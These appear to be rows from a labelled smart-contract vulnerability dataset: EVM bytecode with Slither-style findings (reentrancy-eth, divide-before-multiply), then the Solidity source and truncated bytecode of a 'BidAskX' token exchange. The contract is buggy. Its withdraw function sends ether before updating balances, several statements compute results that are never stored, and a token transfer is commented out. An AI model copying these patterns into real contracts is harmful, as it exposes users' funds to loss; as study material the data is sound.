5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611fca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111ab565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161205396959493929190612ef2565b6060604051808303818588803b15801561206c57600080fd5b505af1158015612080573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120a59190612bc0565b5050505050565b6120b884848484612133565b50505050565b60008060006120cb61249a565b915091506120e281836120e990919063ffffffff16565b9250505090565b600061212b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fc565b905092915050565b6000806000806000806121458861255f565b95509550955095509550955086156122fe576121a986600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223e85600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228a8161266f565b612294848361272c565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122f19190613131565b60405180910390a361248e565b61235086600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040516124859190613131565b60405180910390a35b50505050505050505050565b600080600060085490506000683635c9adc5dea0000090506124d0683635c9adc5dea000006008546120e990919063ffffffff16565b8210156124ef57600854683635c9adc5dea000009350935050506124f8565b81819350935050505b9091565b60008083118290612543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253a9190612fcf565b60405180910390fd5b506000838561255291906132bd565b9050809150509392505050565b600080600080600080600080600061257c8a600c54600b54612766565b925092509250600061258c6120be565b9050600080600061259f8e8787876127fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061260983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b65565b905092915050565b60008082846126209190613267565b905083811015612665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265c90613051565b60405180910390fd5b8091505092915050565b60006126796120be565b90506000612690828461288590919063ffffffff16565b90506126e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612741826008546125c790919063ffffffff16565b60088190555061275c8160095461261190919063ffffffff16565b6009819055505050565b6000806000806127926064612784888a61288590919063ffffffff16565b6120e990919063ffffffff16565b905060006127bc60646127ae888b61288590919063ffffffff16565b6120e990919063ffffffff16565b905060006127e5826127d7858c6125c790919063ffffffff16565b6125c790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612815858961288590919063ffffffff16565b9050600061282c868961288590919063ffffffff16565b90506000612843878961288590919063ffffffff16565b9050600061286c8261285e85876125c790919063ffffffff16565b6125c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561289857600090506128fa565b600082846128a691906132ee565b90508284826128b591906132bd565b146128f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ec90613071565b60405180910390fd5b809150505b92915050565b600061291361290e846131e6565b6131c1565b9050808382526020820190508285602086028201111561293257600080fd5b60005b858110156129625781612948888261296c565b845260208401935060208301925050600181019050612935565b5050509392505050565b60008135905061297b81613808565b92915050565b60008151905061299081613808565b92915050565b600082601f8301126129a757600080fd5b81356129b7848260208601612900565b91505092915050565b6000813590506129cf8161381f565b92915050565b6000815190506129e48161381f565b92915050565b6000813590506129f981613836565b92915050565b600081519050612a0e81613836565b92915050565b600060208284031215612a2657600080fd5b6000612a348482850161296c565b91505092915050565b600060208284031215612a4f57600080fd5b6000612a5d84828501612981565b91505092915050565b60008060408385031215612a7957600080fd5b6000612a878582860161296c565b9250506020612a988582860161296c565b9150509250929050565b600080600060608486031215612ab757600080fd5b6000612ac58682870161296c565b9350506020612ad68682870161296c565b9250506040612ae7868287016129ea565b9150509250925092565b60008060408385031215612b0457600080fd5b6000612b128582860161296c565b9250506020612b23858286016129ea565b9150509250929050565b600060208284031215612b3f57600080fd5b600082013567ffffffffffffffff811115612b5957600080fd5b612b6584828501612996565b91505092915050565b600060208284031215612b8057600080fd5b6000612b8e848285016129c0565b91505092915050565b600060208284031215612ba957600080fd5b6000612bb7848285016129d5565b91505092915050565b600080600060608486031215612bd557600080fd5b6000612be3868287016129ff565b9350506020612bf4868287016129ff565b9250506040612c05868287016129ff565b9150509250925092565b6000612c1b8383612c36565b60208301905092915050565b612c30816133d1565b82525050565b612c3f8161337c565b82525050565b612c4e8161337c565b82525050565b6000612c5f82613222565b612c698185613245565b9350612c7483613212565b8060005b83811015612ca5578151612c8c8882612c0f565b9750612c9783613238565b925050600181019050612c78565b5085935050505092915050565b612cbb8161338e565b82525050565b612cca816133e3565b82525050565b6000612cdb8261322d565b612ce58185613256565b9350612cf5818560208601613419565b612cfe81613553565b840191505092915050565b6000612d16602383613256565b9150612d2182613564565b604082019050919050565b6000612d39602a83613256565b9150612d44826135b3565b604082019050919050565b6000612d5c602283613256565b9150612d6782613602565b604082019050919050565b6000612d7f601b83613256565b9150612d8a82613651565b602082019050919050565b6000612da2602183613256565b9150612dad8261367a565b604082019050919050565b6000612dc5602083613256565b9150612dd0826136c9565b602082019050919050565b6000612de8602983613256565b9150612df3826136f2565b604082019050919050565b6000612e0b602583613256565b9150612e1682613741565b604082019050919050565b6000612e2e602483613256565b9150612e3982613790565b604082019050919050565b6000612e51601783613256565b9150612e5c826137df565b602082019050919050565b612e70816133ba565b82525050565b612e7f816133c4565b82525050565b6000602082019050612e9a6000830184612c45565b92915050565b6000604082019050612eb56000830185612c45565b612ec26020830184612c45565b9392505050565b6000604082019050612ede6000830185612c45565b612eeb6020830184612e67565b9392505050565b600060c082019050612f076000830189612c45565b612f146020830188612e67565b612f216040830187612cc1565b612f2e6060830186612cc1565b612f3b6080830185612c27565b612f4860a0830184612e67565b979650505050505050565b600060c082019050612f686000830189612c45565b612f756020830188612e67565b612f826040830187612cc1565b612f8f6060830186612cc1565b612f9c6080830185612c45565b612fa960a0830184612e67565b979650505050505050565b6000602082019050612fc96000830184612cb2565b92915050565b60006020820190508181036000830152612fe98184612cd0565b905092915050565b6000602082019050818103600083015261300a81612d09565b9050919050565b6000602082019050818103600083015261302a81612d2c565b9050919050565b6000602082019050818103600083015261304a81612d4f565b9050919050565b6000602082019050818103600083015261306a81612d72565b9050919050565b6000602082019050818103600083015261308a81612d95565b9050919050565b600060208201905081810360008301526130aa81612db8565b9050919050565b600060208201905081810360008301526130ca81612ddb565b9050919050565b600060208201905081810360008301526130ea81612dfe565b9050919050565b6000602082019050818103600083015261310a81612e21565b9050919050565b6000602082019050818103600083015261312a81612e44565b9050919050565b60006020820190506131466000830184612e67565b92915050565b600060a0820190506131616000830188612e67565b61316e6020830187612cc1565b81810360408301526131808186612c54565b905061318f6060830185612c45565b61319c6080830184612e67565b9695505050505050565b60006020820190506131bb6000830184612e76565b92915050565b60006131cb6131dc565b90506131d7828261344c565b919050565b6000604051905090565b600067ffffffffffffffff82111561320157613200613524565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613272826133ba565b915061327d836133ba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b2576132b16134c6565b5b828201905092915050565b60006132c8826133ba565b91506132d3836133ba565b9250826132e3576132e26134f5565b5b828204905092915050565b60006132f9826133ba565b9150613304836133ba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561333d5761333c6134c6565b5b828202905092915050565b6000613353826133ba565b915061335e836133ba565b925082821015613371576133706134c6565b5b828203905092915050565b60006133878261339a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133dc826133f5565b9050919050565b60006133ee826133ba565b9050919050565b600061340082613407565b9050919050565b60006134128261339a565b9050919050565b60005b8381101561343757808201518184015260208101905061341c565b83811115613446576000848401525b50505050565b61345582613553565b810181811067ffffffffffffffff8211171561347457613473613524565b5b80604052505050565b6000613488826133ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134bb576134ba6134c6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6138118161337c565b811461381c57600080fd5b50565b6138288161338e565b811461383357600080fd5b50565b61383f816133ba565b811461384a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220319db8f7733870e590e72b314fe6a382aaebc12f0315749bf6402b8052108df464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 388 |
0x637ff298d1bd4159b914c812f4f29c490f8833af | pragma solidity ^0.4.13;
contract EInterface {
function allowance(address _owner, address _spender) constant returns (uint256 remaining) { }
function transferFrom(address _from, address _to, uint256 _value) {}
}
contract BidAskX {
//--------------------------------------------------------------------------EInterface
function allow_spend(address _coin) private returns(uint){
EInterface pixiu = EInterface(_coin);
uint allow = pixiu.allowance(msg.sender, this);
return allow;
}
function transferFromTx(address _coin, address _from, address _to, uint256 _value) private {
EInterface pixiu = EInterface(_coin);
pixiu.transferFrom(_from, _to, _value);
}
//--------------------------------------------------------------------------event
event Logs(string);
event Log(string data, uint value, uint value1);
event Println(address _address,uint32 number, uint price, uint qty, uint ex_qty, bool isClosed,uint32 n32);
event Paydata(address indexed payer, uint256 value, bytes data, uint256 balances);
//--------------------------------------------------------------------------admin
mapping (address => AdminType) admins;
address[] adminArray;
enum AdminType { none, normal, agent, admin, widthdraw }
//--------------------------------------------------------------------------member
struct Member {
bool isExists;
bool isWithdraw;
uint deposit;
uint withdraw;
uint balances;
uint bid_amount;
uint tx_amount;
uint ask_qty;
uint tx_qty;
address agent;
}
mapping (address => Member) public members;
address[] public memberArray;
//--------------------------------------------------------------------------order
uint32 public order_number=1;
struct OrderSheet {
bool isAsk;
uint32 number;
address owner;
uint price;
uint qty;
uint amount;
uint exFee;
uint ex_qty;
bool isClosed;
}
address[] public tokensArray;
mapping (address => bool) tokens;
mapping (address => uint32[]) public token_ask;
mapping (address => uint32[]) public token_bid;
mapping (address => mapping(address => uint32[])) public token_member_order;
mapping (address => mapping(uint32 => OrderSheet)) public token_orderSheet;
//--------------------------------------------------------------------------public
bool public isPayable = true;
bool public isWithdrawable = true;
bool public isRequireData = false;
uint public MinimalPayValue = 0;
uint public exFeeRate = 1000;
uint public exFeeTotal = 0;
function BidAskX(){
adminArray.push(msg.sender);
admins[msg.sender]=AdminType.widthdraw;
//ask(this);
}
function list_token_ask(address _token){
uint32[] storage numbers = token_ask[_token];
for(uint i=0;i<numbers.length;i++){
uint32 n32 = numbers[i];
OrderSheet storage oa = token_orderSheet[_token][n32];
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,n32);
}
}
function list_token_bid(address _token){
uint32[] storage numbers = token_bid[_token];
for(uint i=0;i<numbers.length;i++){
uint32 n32 = numbers[i];
OrderSheet storage oa = token_orderSheet[_token][n32];
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,n32);
}
}
function tokens_push(address _token) private {
if(tokens[_token]!=true){
tokensArray.push(_token);
tokens[_token]=true;
}
}
function token_member_order_pop(address _token, address _sender, uint32 _number) private {
for(uint i=0;k<token_member_order[_token][_sender].length-1;i++){
if(token_member_order[_token][_sender][i]==_number){
for(uint k=i;k<token_member_order[_token][_sender].length-2;k++){
token_bid[_token][k]=token_bid[_token][k+1];
}
token_member_order[_token][_sender].length-=1;
break;
}
}
}
function members_push(address _address) private {
if (members[_address].isExists != true) {
members[_address].isExists = true;
members[_address].isWithdraw = true;
members[msg.sender].deposit=0;
members[msg.sender].withdraw=0;
members[msg.sender].balances =0;
members[msg.sender].tx_amount=0;
members[msg.sender].bid_amount=0;
members[msg.sender].ask_qty=0;
members[msg.sender].tx_qty=0;
members[msg.sender].agent=address(0);
memberArray.push(_address);
}
}
function cancel( address _token,uint32 _number){
OrderSheet storage od = token_orderSheet[_token][_number];
if(od.owner==msg.sender){
uint i;
uint k;
if(od.isAsk){
for(i=0; i<token_ask[_token].length;i++){
if(token_ask[_token][i]==_number){
od.isClosed = true;
members[msg.sender].ask_qty - od.qty + od.ex_qty;
for(k=i;k<token_ask[_token].length-2;k++){
token_ask[_token][k]=token_ask[_token][k+1];
}
token_ask[_token].length-=1;
break;
}
}
} else {
for(i=0; i<token_bid[_token].length;i++){
if(token_bid[_token][i]==_number){
od.isClosed = true;
members[msg.sender].bid_amount - od.amount + od.price*od.ex_qty;
for(k=i;k<token_bid[_token].length-2;k++){
token_bid[_token][k]=token_bid[_token][k+1];
}
token_bid[_token].length-=1;
break;
}
}
}
token_member_order_pop(_token, msg.sender, _number);
} else {
Logs("The order owner not match");
}
}
function bid( address _token, uint _qty, uint _priceEth, uint _priceWei){
tokens_push(_token);
uint256 _price = _priceEth *10**18 + _priceWei;
uint exFee = (_qty * _price) / exFeeRate;
uint amount = (_qty * _price)+exFee;
uint unclose = members[msg.sender].bid_amount - members[msg.sender].tx_amount;
uint remaining = members[msg.sender].balances - unclose;
if(remaining >= amount){
OrderSheet memory od;
od.isAsk = false;
od.number = order_number;
od.owner = msg.sender;
od.price = _price;
od.qty = _qty;
od.ex_qty=0;
od.exFee = (_price * _qty)/exFeeRate;
od.amount = (_price * _qty) + od.exFee;
od.isClosed=false;
token_orderSheet[_token][order_number]=od;
members[msg.sender].bid_amount+=amount;
token_member_order[_token][msg.sender].push(order_number);
bid_match(_token,token_orderSheet[_token][order_number],token_ask[_token]);
if(token_orderSheet[_token][order_number].isClosed==false){
token_bid[_token].push(order_number);
Println(od.owner, od.number, od.price, od.qty, od.ex_qty, od.isClosed,777);
}
order_number++;
} else {
Log("You need more money for bid", remaining, amount);
}
}
function ask( address _token, uint _qty, uint _priceEth, uint _priceWei){
tokens_push(_token);
uint256 _price = _priceEth *10**18 + _priceWei;
uint unclose = members[msg.sender].ask_qty - members[msg.sender].tx_qty;
uint remaining = allow_spend(_token) - unclose;
uint exFee = (_price * _qty)/exFeeRate;
if(members[msg.sender].balances < exFee){
Log("You need to deposit ether to acoount befor ask", exFee, members[msg.sender].balances);
} else if(remaining >= _qty){
members_push(msg.sender);
OrderSheet memory od;
od.isAsk = true;
od.number = order_number;
od.owner = msg.sender;
od.price = _price;
od.qty = _qty;
od.ex_qty=0;
od.exFee = exFee;
od.amount = (_price * _qty) - exFee;
od.isClosed=false;
token_orderSheet[_token][order_number]=od;
members[msg.sender].ask_qty+=_qty;
token_member_order[_token][msg.sender].push(order_number);
ask_match(_token,token_orderSheet[_token][order_number],token_bid[_token]);
if(od.isClosed==false){
token_ask[_token].push(order_number);
Log("Push order number to token_ask",order_number,0);
}
order_number++;
} else {
Log("You need approve your token for transfer",0,0);
}
}
function ask_match(address _token, OrderSheet storage od, uint32[] storage token_match) private {
for(uint i=token_match.length;i>0 && od.qty>od.ex_qty;i--){
uint32 n32 = token_match[i-1];
OrderSheet storage oa = token_orderSheet[_token][n32];
uint qty = oa.qty-oa.ex_qty;
if(oa.isClosed==false && qty>0){
uint ex_qty = (qty>od.qty?od.qty:qty);
uint ex_price = oa.price;
uint exFee = (ex_qty * ex_price) / exFeeRate;
uint amount = (ex_qty * ex_price);
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,n32);
if(members[oa.owner].balances >= amount && od.price <= oa.price){
od.ex_qty += ex_qty;
if(oa.ex_qty+ex_qty>=oa.qty){
token_orderSheet[_token][n32].isClosed = true;
for(uint k=i-1;k<token_match.length-2;k++){
token_match[k]=token_match[k+1];
}
}
token_orderSheet[_token][n32].ex_qty += ex_qty;
transferFromTx(_token, msg.sender, oa.owner, ex_qty);
members[oa.owner].balances -= (amount+exFee);
members[oa.owner].tx_amount += (amount+exFee);
members[oa.owner].tx_qty += ex_qty;
members[msg.sender].balances += (amount-exFee);
members[msg.sender].tx_amount += (amount-exFee);
members[msg.sender].tx_qty += ex_qty;
if(od.ex_qty+ex_qty>=od.qty){
od.isClosed = true;
}
exFeeTotal += exFee;
}
}
}
}
function bid_match(address _token, OrderSheet storage od, uint32[] storage token_match) private {
for(uint i=token_match.length;i>0 && od.qty>od.ex_qty;i--){
uint32 n32 = token_match[i-1];
OrderSheet storage oa = token_orderSheet[_token][n32];
uint qty = oa.qty-oa.ex_qty;
if(oa.isClosed==false && qty>0){
uint ex_qty = (qty>od.qty?od.qty:qty);
uint ex_price = oa.price;
uint exFee = (ex_qty * ex_price) / exFeeRate;
uint amount = (ex_qty * ex_price);
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,222);
if(members[msg.sender].balances >= amount && oa.price <= od.price){
od.ex_qty += ex_qty;
if(oa.ex_qty+ex_qty>=oa.qty){
token_orderSheet[_token][n32].isClosed = true;
for(uint k=i-1;k<token_match.length-2;k++){
token_match[k]=token_match[k+1];
}
}
token_orderSheet[_token][n32].ex_qty += ex_qty;
//transferFromTx(_token, oa.owner, msg.sender, ex_qty);
members[od.owner].balances += (amount-exFee);
members[od.owner].tx_amount += (amount-exFee);
members[od.owner].tx_qty += ex_qty;
members[msg.sender].balances -= (amount+exFee);
members[msg.sender].tx_amount += (amount+exFee);
members[msg.sender].tx_qty += ex_qty;
if(od.ex_qty+ex_qty>=od.qty){
od.isClosed = true;
}
exFeeTotal += exFee;
}
}
}
}
//--------------------------------------------------------------------------member function
function withdraw(uint _eth, uint _wei) {
for(uint i=0;i<tokensArray.length-1;i++){
address token = tokensArray[i];
uint32[] storage order = token_member_order[token][msg.sender];
for(uint j=0;j<order.length-1;j++){
cancel( token,order[j]);
}
}
uint balances = members[msg.sender].balances;
uint withdraws = _eth*10**18 + _wei;
require( balances >= withdraws);
require( this.balance >= withdraws);
require(isWithdrawable);
require(members[msg.sender].isWithdraw);
msg.sender.transfer(withdraws);
members[msg.sender].balances -= withdraws;
members[msg.sender].withdraw += withdraws;
}
function get_this_balance() constant returns(uint256 _eth,uint256 _wei){
_eth = this.balance / 10**18 ;
_wei = this.balance - _eth * 10**18 ;
}
function pay() public payable returns (bool) {
require(msg.value > MinimalPayValue);
require(isPayable);
if(admins[msg.sender] == AdminType.widthdraw){
}else{
if(isRequireData){
require(admins[address(msg.data[0])] > AdminType.none);
}
members_push(msg.sender);
members[msg.sender].balances += msg.value;
members[msg.sender].deposit += msg.value;
if(admins[address(msg.data[0])]>AdminType.none){
members[msg.sender].agent = address(msg.data[0]);
}
Paydata(msg.sender, msg.value, msg.data, members[msg.sender].balances);
}
return true;
}
//--------------------------------------------------------------------------admin function
modifier onlyAdmin() {
require(admins[msg.sender] > AdminType.agent);
_;
}
function admin_list() onlyAdmin constant returns(address[] _adminArray){
_adminArray = adminArray;
}
function admin_typeOf(address admin) onlyAdmin constant returns(AdminType adminType){
adminType= admins[admin];
}
function admin_add_modify(address admin, AdminType adminType) onlyAdmin {
require(admins[admin] > AdminType.agent);
if(admins[admin] < AdminType.normal){
adminArray.push(admin);
}
admins[admin]=AdminType(adminType);
}
function admin_del(address admin) onlyAdmin {
require(admin!=msg.sender);
require(admins[admin] > AdminType.agent);
if(admins[admin] > AdminType.none){
admins[admin] = AdminType.none;
for (uint i = 0; i < adminArray.length - 1; i++) {
if (adminArray[i] == admin) {
adminArray[i] = adminArray[adminArray.length - 1];
adminArray.length -= 1;
break;
}
}
}
}
function admin_withdraw(uint _eth, uint _wei) onlyAdmin {
require(admins[msg.sender] > AdminType.admin);
uint256 amount = _eth * 10**18 + _wei;
require(this.balance >= amount);
msg.sender.transfer(amount);
}
function admin_exFeeRate(uint _rate) onlyAdmin {
exFeeRate = _rate;
}
function admin_MinimalPayValue(uint _eth, uint _wei) onlyAdmin {
MinimalPayValue = _eth*10*18 + _wei;
}
function admin_isRequireData(bool _requireData) onlyAdmin{
isRequireData = _requireData;
}
function admin_isPayable(bool _payable) onlyAdmin{
isPayable = _payable;
}
function admin_isWithdrawable(bool _withdrawable) onlyAdmin{
isWithdrawable = _withdrawable;
}
function admin_member_isWithdraw(address _member, bool _withdrawable) onlyAdmin {
if(members[_member].isExists == true) {
members[_member].isWithdraw = _withdrawable;
} else {
Logs("member not existes");
}
}
} | 0x6060604052361561019f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630278bde1146101a457806308ae4b0c146101f85780630acf0b8e146102b857806310888f2f146102fd5780631b9265b8146103205780632868eda3146103425780632c6b77e11461036e5780632d6842b514610393578063358a074c146103bf5780633ef39571146103e4578063441a3e70146104115780634d840bcc1461043d57806352e68c461461046a5780635b0e8b82146104a3578063634e66ac1461050e5780637927bc0c146105335780638087da3a1461056c57806386f28fe3146105a15780638f70585f1461062257806395b5d5ac146106765780639a729d03146106d85780639caaa7f41461073a578063a38717f41461076a578063a50c386a14610793578063a7154d22146107bc578063a9f7d03b14610804578063b90892801461085f578063bb043d5314610898578063c726dea8146108c1578063ce46e04614610924578063ce97205014610951578063ec79690814610a25578063efedf42914610a88575b600080fd5b34156101af57600080fd5b6101f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050610acc565b005b341561020357600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112f8565b604051808b1515151581526020018a1515151581526020018981526020018881526020018781526020018681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019a505050505050505050505060405180910390f35b34156102c357600080fd5b6102fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050611386565b005b341561030857600080fd5b61031e600480803590602001909190505061159a565b005b610328611616565b604051808215151515815260200191505060405180910390f35b341561034d57600080fd5b61036c6004808035906020019091908035906020019091905050611b68565b005b341561037957600080fd5b61039160048080351515906020019091905050611cc6565b005b341561039e57600080fd5b6103bd6004808035906020019091908035906020019091905050611d55565b005b34156103ca57600080fd5b6103e260048080351515906020019091905050611dda565b005b34156103ef57600080fd5b6103f7611e69565b604051808215151515815260200191505060405180910390f35b341561041c57600080fd5b61043b6004808035906020019091908035906020019091905050611e7c565b005b341561044857600080fd5b6104506121ae565b604051808215151515815260200191505060405180910390f35b341561047557600080fd5b6104a1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121c1565b005b34156104ae57600080fd5b6104b66123c8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156104fa5780820151818401525b6020810190506104de565b505050509050019250505060405180910390f35b341561051957600080fd5b610531600480803515159060200190919050506124ce565b005b341561053e57600080fd5b61056a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061255d565b005b341561057757600080fd5b61057f612764565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156105ac57600080fd5b610600600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061277a565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561062d57600080fd5b610674600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919080359060200190919050506127d0565b005b341561068157600080fd5b6106b6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612f9f565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156106e357600080fd5b610718600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612fe8565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561074557600080fd5b61074d613031565b604051808381526020018281526020019250505060405180910390f35b341561077557600080fd5b61077d61308c565b6040518082815260200191505060405180910390f35b341561079e57600080fd5b6107a6613092565b6040518082815260200191505060405180910390f35b34156107c757600080fd5b610802600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050613098565b005b341561080f57600080fd5b61083b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506137f5565b6040518082600481111561084b57fe5b60ff16815260200191505060405180910390f35b341561086a57600080fd5b610896600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506138bc565b005b34156108a357600080fd5b6108ab613bf3565b6040518082815260200191505060405180910390f35b34156108cc57600080fd5b6108e26004808035906020019091905050613bf9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092f57600080fd5b610937613c39565b604051808215151515815260200191505060405180910390f35b341561095c57600080fd5b610997600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050613c4c565b604051808a1515151581526020018963ffffffff1663ffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200187815260200186815260200185815260200184815260200183815260200182151515158152602001995050505050505050505060405180910390f35b3415610a3057600080fd5b610a466004808035906020019091905050613cf1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a9357600080fd5b610aca600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050613d31565b005b600080600080610ada6157b0565b610ae389613ecb565b85670de0b6b3a76400008802019450600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006015403935083610b858a613fe6565b039250600d54888602811515610b9757fe5b04915081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015610cc9577fc72c11333761a47423f2cbe54eda92b59b0b5977a444194492fe47f41b3c0ab482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015460405180806020018481526020018381526020018281038252602e8152602001807f596f75206e65656420746f206465706f73697420657468657220746f2061636f81526020017f6f756e74206265666f722061736b000000000000000000000000000000000000815250604001935050505060405180910390a16112ec565b878310151561124b57610cdb336140ed565b6001816000019015159081151581525050600460009054906101000a900463ffffffff16816020019063ffffffff16908163ffffffff168152505033816040019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050848160600181815250508781608001818152505060008160e0018181525050818160c001818152505081888602038160a001818152505060008161010001901515908115158152505080600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548163ffffffff021916908363ffffffff16021790555060408201518160000160056101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600101556080820151816002015560a0820151816003015560c0820151816004015560e082015181600501556101008201518160060160006101000a81548160ff02191690831515021790555090505087600260003373ffffffffffffff